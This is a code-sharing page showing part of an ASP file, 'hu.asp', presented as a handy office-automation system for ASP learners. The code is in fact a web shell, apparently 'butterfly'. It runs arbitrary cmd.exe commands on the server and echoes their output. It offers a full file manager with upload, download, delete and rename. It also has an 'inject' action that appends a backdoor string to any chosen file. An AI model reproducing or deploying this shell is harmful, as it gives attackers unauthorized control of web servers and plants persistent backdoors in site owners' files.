📄 hu.asp

📁 我的一个oa用asp编写的系统可能对那些学习asp的人员有用。
💻 ASP
📖 第 1 页 / 共 5 页
字号:
			End If
		
			If LCase(appName) = "cmd.exe" And appArgs <> "" Then
				If LCase(Left(appArgs, 2)) <> "/c" Then
					appArgs = "/c " & appArgs
				End If
			Else
				If LCase(appName) = "cmd.exe" And appArgs = "" Then
					appArgs = "/c "
				End If
			End If
			
			saX.ShellExecute appName, appArgs, appPath, "", 0
			chkErr(Err)
		End If
		
		If theAct = "readResult" Then
			Err.Clear
			echo encode(streamLoadFromFile(aspPath))
			If Err Then
				Set theFile = fsoX.OpenTextFile(aspPath)
				echo encode(theFile.ReadAll())
				Set theFile = Nothing
			End If
			Response.End
		End If
		
		echo "<style>body{margin:8;border:none;background-color:buttonface;}</style>"
		echo "<body onload=""document.forms[0].appArgs.focus();setTimeout('wsLoadIFrame();', 3900);"">"
		echo "<form method=post onSubmit='this.Submit.disabled=true'>"
		echo "<input type=hidden name=theAct value=doAct>"
		echo "<input type=hidden name=aspPath value=""" & HtmlEncode(aspPath) & """>"
		echo "所在路径: <input name=appPath type=text id=appPath value=""" & HtmlEncode(appPath) & """ size=62><br/>"
		echo "程序文件: <input name=appName type=text id=appName value=""" & HtmlEncode(appName) & """ size=62> "
		echo "<input type=button name=Submit4 value=' 回显 ' onClick=""this.form.appArgs.value+=' > '+this.form.aspPath.value;""><br/> "
		echo "命令参数: <input name=appArgs type=text id=appArgs value=""" & HtmlEncode(appArgs) & """ size=62> "
		echo "<input type=submit name=Submit value=' 运行 '><br/>"
		echo "<hr/>注: 只有命令行程序在CMD.EXE运行环境下才可以进行临时文件回显(利用"">""符号),其它程序只能执行不能回显.<br/>"
		echo "　&nbsp; 由于命令执行时间同网页刷新时间不同步,所以有些执行时间长的程序结果需要手动刷新下面的iframe才能得到.回显后记得删除临时文件.<hr/>"
		echo "<iframe id=cmdResult style='width:100%;height:78%;'>"
		echo "</iframe>"
		echo "</form>"
		echo "</body>"
	End Sub

	Sub PageFsoFileExplorer()
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Response.Buffer = True
		Dim file, drive, folder, theFiles, theFolder, theFolders
		Dim i, theAct, strTmp, driveStr, thePath, parentFolderName
		
		theAct = Request("theAct")
		thePath = Request("thePath")
		If theAct <> "upload" Then
			If Request.Form.Count > 0 Then
				theAct = Request.Form("theAct")
				thePath = Request.Form("thePath")
			End If
		End If

		showTitle("FSO文件浏览器(&stream)")
		
		Select Case theAct
			Case "newOne", "doNewOne"
				fsoNewOne(thePath)
			Case "showEdit"
				Call showEdit(thePath, "fso")
			Case "saveFile"
				Call saveToFile(thePath, "fso")
			Case "openUrl"
				openUrl(thePath)
			Case "copyOne", "cutOne"
				If thePath = "" Then
					alertThenClose("参数错误!")
					Response.End
				End If
				Session(m & "fsoThePath") = thePath
				Session(m & "fsoTheAct") = theAct
				alertThenClose("操作成功,请粘贴!")
			Case "pastOne"
				fsoPastOne(thePath)
				alertThenClose("粘贴成功,请刷新本页查看效果!")
			Case "showFsoRename"
				showFsoRename(thePath)
			Case "doRename"
				Call fsoRename(thePath)
				alertThenClose("重命名成功,刷新后可以看到效果!")
			Case "delOne", "doDelOne"
				showFsoDelOne(thePath)
			Case "getAttributes", "doModifyAttributes"
				fsoTheAttributes(thePath)
			Case "downTheFile"
				downTheFile(thePath)
			Case "showUpload"
				Call showUpload(thePath, "FsoFileExplorer")
			Case "upload"
				streamUpload(thePath)
				Call showUpload(thePath, "FsoFileExplorer")
			Case "inject"
				Set theFiles = fsoX.OpenTextFile(thePath)
				strTmp = theFiles.ReadAll()
				fsoSaveToFile thePath, strTmp & strBackDoor
				Set theFiles = Nothing
				alertThenClose("后门插入成功!")
		End Select
		
		If theAct <> "" Then
			Response.End
		End If
		
		If Request.Form.Count > 0 Then
			redirectTo("?pageName=FsoFileExplorer&thePath=" & UrlEncode(thePath))
		End If
		
		parentFolderName = fsoX.GetParentFolderName(thePath)
		
		echo "<div style='left:0px;width:100%;height:48px;position:absolute;top:2px;' id=fileExplorerTools>"
		echo "<input type=button value=' 新建 ' onclick=newOne();>"
		echo "<input type=button value=' 更名 ' onclick=fsoRename();>"
		echo "<input type=button value=' 编辑 ' onclick=editFile();>"
		echo "<input type=button value=' 打开 ' onclick=openUrl();>"
		echo "<input type=button value=' 复制 ' onclick=appDoAction('copyOne');>"
		echo "<input type=button value=' 剪切 ' onclick=appDoAction('cutOne');>"
		echo "<input type=button value=' 粘贴 ' onclick=appDoAction2('pastOne')>"
		echo "<input type=button value=' 属性 ' onclick=fsoGetAttributes();>"
		echo "<input type=button value=' 插入 ' onclick=appDoAction('inject');>"
		echo "<input type=button value=' 删除 ' onclick=delOne();>"
		echo "<input type=button value=' 上传 ' onclick='upTheFile();'>"
		echo "<input type=button value=' 下载 ' onclick='downTheFile();'>"
		echo "<br/>"
		echo "<input type=hidden value=FsoFileExplorer name=pageName />"
		echo "<input type=hidden value=""" & UrlEncode(thePath) & """ name=truePath>"
		echo "<input type=hidden size=50 name=usePath>"

		echo "<form method=post action=?pageName=FsoFileExplorer>"
		If parentFolderName <> "" Then
			echo "<input value='↑向上' type=button onclick=""this.disabled=true;location.href='?pageName=FsoFileExplorer&thePath=" & Server.UrlEncode(parentFolderName) & "';"">"
		End If
		echo "<input type=button value=' 后退 ' onclick='this.disabled=true;history.back();' />"
		echo "<input type=button value=' 前进 ' onclick='this.disabled=true;history.go(1);' />"
		echo "<input size=60 value=""" & HtmlEncode(thePath) & """ name=thePath>"
		echo "<input type=submit value=' 转到 '>"
		driveStr = "<option>盘符</option>"
		driveStr = driveStr & "<option value='" & HtmlEncode(Server.MapPath(".")) & "'>.</option>"
		driveStr = driveStr & "<option value='" & HtmlEncode(Server.MapPath("/")) & "'>/</option>"
		For Each drive In fsoX.Drives
			driveStr = driveStr & "<option value='" & drive.DriveLetter & ":\'>" & drive.DriveLetter & ":\</option>"
		Next
		echo "<input type=button value=' 刷新 ' onclick='location.reload();'> "
		echo "<select onchange=""this.form.thePath.value=this.value;this.form.submit();"">" & driveStr & "</select>"
		echo "<hr/></form>"
		echo "</div><div style='height:50px;'></div>"
		echo "<script>fixTheLayer('fileExplorerTools');setInterval(""fixTheLayer('fileExplorerTools');"", 200);</script>"

		If fsoX.FolderExists(thePath) = False Then
			showErr(thePath & " 目录不存在或者不允许访问!")
		End If
		Set theFolder = fsoX.GetFolder(thePath)
		Set theFiles = theFolder.Files
		Set theFolders = theFolder.SubFolders

		echo "<div id=FileList>"
		For Each folder In theFolders
			i = i + 1
			If i > 50 Then
				i = 0
				Response.Flush()
			End If
			strTmp = UrlEncode(folder.Path & "\")
			echo "<span id='" & strTmp & "' onDblClick=""changeThePath(this);"" onclick=changeMyClass(this);><font class=font face=Wingdings>0</font><br/>" & folder.Name & "</span>" & vbNewLine
		Next
		Response.Flush()
		For Each file In theFiles
			i = i + 1
			If i > 100 Then
				i = 0
				Response.Flush()
			End If
			echo "<span id='" & UrlEncode(file.Path) & "' title='类型: " & file.Type & vbNewLine & "大小: " & getTheSize(file.Size) & "' onDblClick=""openUrl();"" onclick=changeMyClass(this);><font class=font face=" & getFileIcon(fsoX.GetExtensionName(file.Name)) & "</font><br/>" & file.Name & "</span>" & vbNewLine
		Next
		echo "</div>"
		chkErr(Err)
		
		echo "<hr/>Powered By butterfly"
	End Sub

	Sub fsoNewOne(thePath)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim theAct, isFile, theName, newAct
		isFile = Request("isFile")
		newAct = Request("newAct")
		theName = Request("theName")

		If newAct = " 确定 " Then
			thePath = Replace(thePath & "\" & theName, "\\", "\")
			If isFile = "True" Then
				Call fsoX.CreateTextFile(thePath, False)
			 Else
				fsoX.CreateFolder(thePath)
			End If
			chkErr(Err)
			alertThenClose("文件(夹)新建成功,刷新后就可以看到效果!")
			Response.End
		End If
		
		echo "<style>body{overflow:hidden;}</style>"
		echo "<body topmargin=2>"
		echo "<form method=post>"
		echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """><br/>新建: "
		echo "<input type=radio name=isFile id=file value='True' checked><label for=file>文件</label> "
		echo "<input type=radio name=isFile id=folder value='False'><label for=folder>文件夹</label><br/>"
		echo "<input size=38 name=theName><hr/>"
		echo "<input type=hidden name=theAct value=doNewOne>"
		echo "<input type=submit name=newAct value=' 确定 '>" & strJsCloseMe
		echo "</form>"
		echo "</body><br/>"
	End Sub

	Sub fsoPastOne(thePath)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim sessionPath
		sessionPath = Session(m & "fsoThePath")
		
		If thePath = "" Or sessionPath = "" Then
			alertThenClose("参数错误!")
			Response.End
		End If
		
		If Right(thePath, 1) = "\" Then
			thePath = Left(thePath, Len(thePath) - 1)
		End If
		
		If Right(sessionPath, 1) = "\" Then
			sessionPath = Left(sessionPath, Len(sessionPath) - 1)
			If Session(m & "fsoTheAct") = "cutOne" Then
				Call fsoX.MoveFolder(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
			 Else
				Call fsoX.CopyFolder(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
			End If
		 Else
			If Session(m & "fsoTheAct") = "cutOne" Then
				Call fsoX.MoveFile(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
			 Else
				Call fsoX.CopyFile(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
			End If
		End If
		
		chkErr(Err)
	End Sub

	Sub fsoRename(thePath)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim theFile, fileName, theFolder
		fileName = Request("fileName")
		
		If thePath = "" Or fileName = "" Then
			alertThenClose("参数错误!")
			Response.End
		End If

		If Right(thePath, 1) = "\" Then
			Set theFolder = fsoX.GetFolder(thePath)
			theFolder.Name = fileName
			Set theFolder = Nothing
		 Else
			Set theFile = fsoX.GetFile(thePath)
			theFile.Name = fileName
			Set theFile = Nothing
		End If
		
		chkErr(Err)
	End Sub

	Sub showFsoRename(thePath)
		Dim theAct, fileName
		fileName = fsoX.getFileName(thePath)
		
		echo "<style>body{overflow:hidden;}</style>"
		echo "<body topmargin=2>"
		echo "<form method=post>"
		echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """><br/>更名为:<br/>"
		echo "<input size=38 name=fileName value=""" & HtmlEncode(fileName) & """><hr/>"
		echo "<input type=submit value=' 确定 '>"
		echo "<input type=hidden name=theAct value=doRename>"
		echo "<input type=button value=' 关闭 ' onclick='window.close();'>"
		echo "</form>"
		echo "</body><br/>"
	End Sub

	Sub showFsoDelOne(thePath)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim newAct, theFile
		newAct = Request("newAct")

		If newAct = "确认删除?" Then
			If Right(thePath, 1) = "\" Then
				thePath = Left(thePath, Len(thePath) - 1)
				Call fsoX.DeleteFolder(thePath, True)
			 Else
				Call fsoX.DeleteFile(thePath, True)
			End If
			chkErr(Err)
			alertThenClose("文件(夹)删除成功,刷新后就可以看到效果!")
			Response.End
		End If

		echo "<style>body{margin:8;border:none;overflow:hidden;background-color:buttonface;}</style>"		
		echo "<form method=post><br/>"
		echo HtmlEncode(thePath)
		echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """>"
		echo "<input type=hidden name=theAct value=doDelOne>"
		echo "<hr/><input type=submit name=newAct value='确认删除?'><input type=button value=' 关闭 ' onclick='window.close();'>"
		echo "</form>"
	End Sub

	Sub fsoTheAttributes(thePath)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim newAct, theFile, theFolder, theTitle
		newAct = Request("newAct")
		
		If Right(thePath, 1) = "\" Then
			Set theFolder = fsoX.GetFolder(thePath)
			If newAct = " 修改 " Then
				setMyTitle(theFolder)
			End If
				theTitle = getMyTitle(theFolder)
			Set theFolder = Nothing
		 Else
			Set theFile = fsoX.GetFile(thePath)
			If newAct = " 修改 " Then
				setMyTitle(theFile)
			End If
			theTitle = getMyTitle(theFile)
			Set theFile = Nothing
		End If
		
		chkErr(Err)
		theTitle = Replace(theTitle, vbNewLine, "<br/>")
		echo "<style>body{margin:8;overflow:hidden;}</style>"
		echo "<form method=post>"
		echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """>"
		echo "<input type=hidden name=theAct value=doModifyAttributes>"
		echo theTitle
		echo "<hr/><input type=submit name=newAct value=' 修改 '>" & strJsCloseMe
		echo "</form>"
	End Sub

	Function getMyTitle(theOne)
		If isDebugMode = False Then
			On Error Resume Next
		End If
		Dim strTitle
		strTitle = strTitle & "路径: " & theOne.Path & "" & vbNewLine
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -